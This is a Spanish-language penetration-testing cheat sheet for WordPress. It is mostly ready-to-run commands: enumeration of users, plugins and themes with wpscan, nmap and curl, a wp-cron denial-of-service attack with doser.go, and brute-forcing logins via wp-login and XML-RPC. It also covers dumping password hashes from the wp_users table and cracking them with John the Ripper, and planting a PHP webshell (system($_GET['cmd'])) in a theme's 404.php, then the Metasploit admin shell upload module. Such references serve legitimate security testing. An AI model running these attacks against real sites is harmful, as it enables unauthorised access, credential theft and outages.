# WordPress

## Principales rutas y archivos <a href="#principales-rutas-y-archivos" id="principales-rutas-y-archivos"></a>

* General:
  * `/index.php`
  * `/wp-config.php`= información requerida por WordPress para conectarse a la base de datos.
  * `/wp-content/` = directorio principal donde se almacenan los complementos y los temas.
  * `/wp-content/uploads/`
  * `/wp-content/uploads/myfiles/<file>`
  * `/wp-content/plugins/`
  * `/wp-content/themes/`
  * `xmlrpc.php`
* Inicio de sesión:
  * `/wp-admin/login.php`
  * `/wp-admin/wp-login.php`
  * `/login.php`
  * `/wp-login.php`
* `/license.txt`
* `/readme.html`

## Roles de usuarios

| Rol           | Descripción                                                                                                                                                 |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Administrator | Tienen acceso a funciones administrativas dentro del sitio web. Esto incluye agregar y eliminar usuarios y publicaciones, así como editar el código fuente. |
| Editor        | Pueden publicar y administrar publicaciones, incluidas las publicaciones de otros usuarios.                                                                 |
| Author        | Pueden publicar y administrar sus propias publicaciones.                                                                                                    |
| Contributor   | Pueden escribir y administrar sus propias publicaciones, pero no pueden publicarlas.                                                                        |
| Subscriber    | Son usuarios normales que pueden buscar publicaciones y editar sus perfiles.                                                                                |

## Enumeración

### General <a href="#enumeracion-general" id="enumeracion-general"></a>

```sh
wpscan --url http://<target>/ --api-token <api-token> -o wpscan.txt
docker run -it --rm wpscanteam/wpscan --url https://<target>/ --api-token <api-token> --disable-tls-checks
docker run -it --rm wpscanteam/wpscan --url https://<target>/ --api-token <api-token> --disable-tls-checks --force --wp-content-dir "wp-content" --wp-plugins-dir "wp-content/plugins"
```

* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--api-token = API token (<https://wpscan.com/>).
  * \<api-token> = API token.
* -o = guarda resultado del escaneo en archivo `wpscan.txt`.

#### Nmap <a href="#enumeracion-nmap" id="enumeracion-nmap"></a>

```sh
nmap -p 80,443 --script http-wordpress-enum --script-args check-latest=true,search-limit=250 <target>
```

* -p 80,443 = puertos 80/TCP y 443/TCP.
* \--script http-wordpress-enum = enumeración general.
  * check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
  * search-limit=200: limite de búsqueda de 250 temas y plugins.
* \<target> = objetivo.

#### cURL <a href="#enumeracion-curl" id="enumeracion-curl"></a>

Obtención de número de versión de Wordpress.

```bash
curl -s -X GET http://<target> | grep '<meta name="generator"'
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

#### WPScan <a href="#enumeracion-usuarios-wpscan" id="enumeracion-usuarios-wpscan"></a>

```sh
wpscan --url http://<target>/ --enumerate u -o wpscan-user.txt
```

* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--enumerate u = enumeración de usuarios.
* -o = guarda resultado del escaneo en archivo `wpscan-user.txt`.

#### Nmap <a href="#enumeracion-usuarios-nmap" id="enumeracion-usuarios-nmap"></a>

```sh
nmap -p 80,443 --script http-wordpress-users --script-args limit=50 <target>
```

* -p 80,443 = puertos 80/TCP y 443/TCP.
* \--script http-wordpress-users = enumeración de usuarios.
  * \--script-args limit=50: limite de búsqueda por los primeros 50 ID de usuarios.
* \<target> = objetivo.

#### cURL <a href="#enumeracion-usuarios-curl" id="enumeracion-usuarios-curl"></a>

Enumeración por nombre de usuario.

```sh
curl -s -o /dev/null -w "%{http_code}\n" http://<target>/author/<username>
```

* \<target> = objetivo.
* \<username> = nombre de usuario.

Enumeración de usuarios desde listado.

```bash
for i in $(cat <path-usernames>); \
do curl -s -o /dev/null -w "%{http_code}:$i\n" \
http://<target>/author/$i; done
```

* \<path-usernames> = ruta de usuarios.
* \<target> = objetivo.

Enumeración de usuarios por ID.

```bash
for i in {1..10}; \
do curl -L -s http://<target>/?author=$i \
| grep -iPo '(?<=<title>)(.*)(?=</title>)' \
| cut -f1 -d" " | grep -v "Page"; done
```

JSON endpoint.

```bash
curl -s http://<target>/wp-json/wp/v2/users | jq
```

### Plugins <a href="#enumeracion-plugins" id="enumeracion-plugins"></a>

{% hint style="info" %}
Desactivar un plugin vulnerable no mejora la seguridad del sitio de WordPress. Es una buena práctica eliminar o mantener actualizados los complementos no utilizados.

Si un plugin está desactivado, aún puede ser accesible y, por lo tanto, podemos obtener acceso a sus scripts y funciones asociados.
{% endhint %}

Revisión manualmente de ruta de plugins.

```
http://<target>/wp-content/plugins/
```

#### WPScan <a href="#enumeracion-plugins-wpscan" id="enumeracion-plugins-wpscan"></a>

```sh
wpscan --url http://<target>/ --enumerate p
```

* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--enumerate p = enumeración de plugins.

#### Nmap <a href="#enumeracion-plugins-nmap" id="enumeracion-plugins-nmap"></a>

```sh
nmap -p 80,443 --script http-wordpress-enum --script-args type="plugins",check-latest=true,search-limit=250 <target>
```

* -p 80,443 = puertos 80/TCP y 443/TCP.
* \--script http-wordpress-enum = enumeración general.
  * type="themes" = enumeración de temas.
  * check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
  * search-limit=200: limite de búsqueda de 250 plugins.
* \<target> = objetivo.

#### cURL <a href="#enumeracion-plugins-curl" id="enumeracion-plugins-curl"></a>

```bash
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
```

### Themes

#### cURL <a href="#enumeracion-themes-curl" id="enumeracion-themes-curl"></a>

```bash
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
```

## XML-RPC

Verificación de XML-RPC activo.

* `/xmlrpc.php`

```bash
curl -X POST http://<target>/xmlrpc.php \
-H "Content-Type: application/xml" \
-H "Accept: application/xml" \
-d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
```

## wp-cron.php

De forma predeterminada, al recibir una solicitud, WordPress genera una solicitud adicional al archivo `wp-cron.php`. Al generar un gran número de solicitudes al sitio, es posible que este realice un ataque de Denial of Service (DoS) contra sí mismo.

```sh
# Monitoreo en paralelo
while true; do echo -n "$(date '+%Y-%m-%d %H:%M:%S') "; curl -o /dev/null -s -k -w '%{http_code} %{time_total}\n' https://<target>/; sleep 2; done
# Denial of Service (DoS)
git clone https://github.com/Quitten/doser.go.git
cd doser.go/
go build doser.go
./doser -t 100000 -g 'https://<target>/wp-cron.php'
```

El sitio podría tener definida la constante `DISABLE_WP_CRON` en el archivo `wp-config.php` con el valor `true`, lo que deshabilita la ejecución automática de `wp-cron.php` en cada solicitud. Esta configuración no puede determinarse externamente, por lo que el estado real únicamente puede verificarse con acceso directo a la configuración del sitio.

{% code title="wp-config.php" %}

```php
define('DISABLE_WP_CRON', true);
```

{% endcode %}

## Ataques de contraseñas

### Usuarios <a href="#ataques-de-contrasenas-usuarios" id="ataques-de-contrasenas-usuarios"></a>

#### WPScan <a href="#ataques-de-contrasenas-usuarios-wpscan" id="ataques-de-contrasenas-usuarios-wpscan"></a>

Método "wp-login".

```sh
wpscan --password-attack wp-login --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
```

* \--password-attack = wp-login.
* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--usernames = usuarios.
  * \<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
* \--passwords = contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.

Método "xmlrpc".

```sh
wpscan --password-attack xmlrpc --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
```

* \--password-attack = xmlrpc.
* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.
* \--usernames = usuarios.
  * \<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
* \--passwords = contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.

#### cURL <a href="#ataques-de-contrasenas-usuarios-curl" id="ataques-de-contrasenas-usuarios-curl"></a>

Utilizando XML-RPC (`/xmlrpc.php`).

```bash
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{user}</value></param><param><value>{password}</value></param></params></methodCall>" http://<target>/xmlrpc.php
```

* {user} = usuario.
* {password} = contraseña.
* \<target> = objetivo.

### Cracking de contraseñas de usuarios en base de datos <a href="#ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos" id="ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos"></a>

#### MySQL CLI <a href="#ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-mysql-cli" id="ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-mysql-cli"></a>

```sh
mysql --user=<user> --password=<password> --host=<target>
show databases;
use wordpress;
show tables;
describe wp_users;
select user_login, user_pass from wp_users;
select concat_ws(':', user_login, user_pass) from wp_users;
```

#### John the Ripper <a href="#ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-john-the-ripper" id="ataques-de-contrasenas-cracking-de-contrasenas-de-usuarios-en-base-de-datos-john-the-ripper"></a>

```sh
john hashes.txt --wordlist=<path-wordlist>
```

## Upload reverse shell

### Theme <a href="#upload-reverse-shell-theme" id="upload-reverse-shell-theme"></a>

{% hint style="info" %}
Se recomienda seleccionar un theme inactivo, así evitar corromper el theme principal que se encuentra en uso.
{% endhint %}

Modificación de theme.

* `wp-admin -> Appearance -> Theme Editor -> Select theme to edit -> 404 Template (404.php)`

{% code title="Código webshell PHP" %}

```php
system($_GET['cmd']);
```

{% endcode %}

Ejecución de webshell.

```bash
curl -X GET "http://{target}/wp-content/themes/<theme-name>/404.php?cmd=id"
```

### Plugin <a href="#upload-reverse-shell-plugin" id="upload-reverse-shell-plugin"></a>

* `wp-admin -> Plugins -> Plugin Editor -> file.php`
  * Activar plugin.

### Metasploit Framework (MSF) <a href="#upload-reverse-shell-metasploit-framework-msf" id="upload-reverse-shell-metasploit-framework-msf"></a>

```sh
use exploit/unix/webapp/wp_admin_shell_upload
```
